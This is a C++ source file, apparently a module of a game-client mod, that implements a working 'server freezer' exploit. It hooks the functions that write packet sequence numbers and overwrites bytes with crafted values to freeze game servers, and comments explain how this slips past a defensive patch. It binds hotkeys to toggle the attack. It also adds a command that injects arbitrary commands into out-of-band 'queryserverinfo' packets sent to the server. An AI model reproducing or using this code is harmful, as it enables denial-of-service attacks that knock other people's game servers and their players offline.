#include <std_include.hpp>
#include "loader/component_loader.hpp"

#include <utils/hook.hpp>

#include "command.hpp"
#include "key_catcher.hpp"
#include "console.hpp"

namespace exploit {
game::dvar_t* cl_exploit;

/*
 * void CL_Netchan_Transmit(netchan_t* chan, unsigned char* data, int a3)
 * A brief description of data: the first few bytes contain information from
 * clientConnection_t structure Offset 0: ServerID Size : 1 Offset 1:
 * serverMessageSequence Size: 4 Offset 5: serverCommandSequence Size: 4 One
 * clean way of sending invalid data to the server is to hook the functions
 * that write the info to the packet Credit:
 * https://stackoverflow.com/questions/58981714/how-do-i-change-the-value-of-a-single-byte-in-a-uint32-t-variable
 */

/*
 * On the server side the msg_t structure processed as follows:
 * The first 4 bytes are read but not processed (offset 0)
 * The following 2 bytes are read but not processed (offset 4)
 * The following 1 byte is read and corresponds to the client_t.serverId (offset
 * 6) The following 4 bytes are read and correspond to the
 * client_t.messageAcknowledge (offset 7) The following 4 bytes are read and
 * correspond to the client_t.reliableAcknowledge (offset 11)
 */

/**
 * MSG_WriteLong stub which writes clc.serverMessageSequence.
 * @param[out] msg The message to write to.
 * @param[in] data The data to modify
 */
void write_message_sequence(game::msg_t* msg, int data) {
  if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
    msg->overflowed = TRUE;
    return;
  }

  if (cl_exploit->current.enabled) {
    data = (data & 0xFFFFFF00) | 0xAAu;
  }

  auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
  *dest = data;
  msg->cursize += sizeof(int);
}

/**
 * MSG_WriteLong stub which writes clc.serverCommandSequence
 * Tekno gods will check in their Netchan_Process stub this byte is 0. If it is
 * not 0 it will trigger their patch.
 * @param[out] msg The message to write to.
 * @param[in] data The data to modify
 */
void write_command_sequence(game::msg_t* msg, int data) {
  if (msg->maxsize - static_cast<unsigned int>(msg->cursize) < sizeof(int)) {
    msg->overflowed = TRUE;
    return;
  }

  if (cl_exploit->current.enabled) {
    data = (data & 0x00FFFFFF) | (0x80u << 24);
  }

  auto* dest = reinterpret_cast<int*>(&msg->data[msg->cursize]);
  *dest = data;
  msg->cursize += sizeof(int);
}

class component final : public component_interface {
public:
  void post_unpack() override {
    cl_exploit = game::Dvar_RegisterBool("cl_exploit", false, game::DVAR_NONE,
                                         "Enable server freezer");

    add_exploit_commands();
    add_key_hooks();

    utils::hook(0x420B76, HOOK_CAST(write_message_sequence), HOOK_CALL)
        .install() // hook*
        ->quick();
    utils::hook(0x420B86, HOOK_CAST(write_command_sequence), HOOK_CALL)
        .install() // hook*
        ->quick();
  }

private:
  static void add_key_hooks() {
    key_catcher::on_key_press(
        "O", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
          game::Dvar_SetBool(cl_exploit, true);
          console::info("Enabled cl_exploit");
        });

    key_catcher::on_key_press(
        "L", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
          game::Dvar_SetBool(cl_exploit, false);
          console::info("Disabled cl_exploit");
        });

    key_catcher::on_key_press(
        "K", []([[maybe_unused]] const game::LocalClientNum_t& local_client) {
          command::execute("disconnect");
        });
  }

  static void add_exploit_commands() {
    command::add(
        "sendCommand", []([[maybe_unused]] const command::params& params) {
          if (params.size() < 2)
            return;

          const auto cmd = std::format("queryserverinfo ;{}", params.join(1));
          console::info("Sending OOB packet {}", cmd);
          game::NET_OutOfBandPrint(game::NS_SERVER,
                                   game::localClientConnection->serverAddress,
                                   cmd.data());
        });
  }
};
} // namespace exploit

REGISTER_COMPONENT(exploit::component)
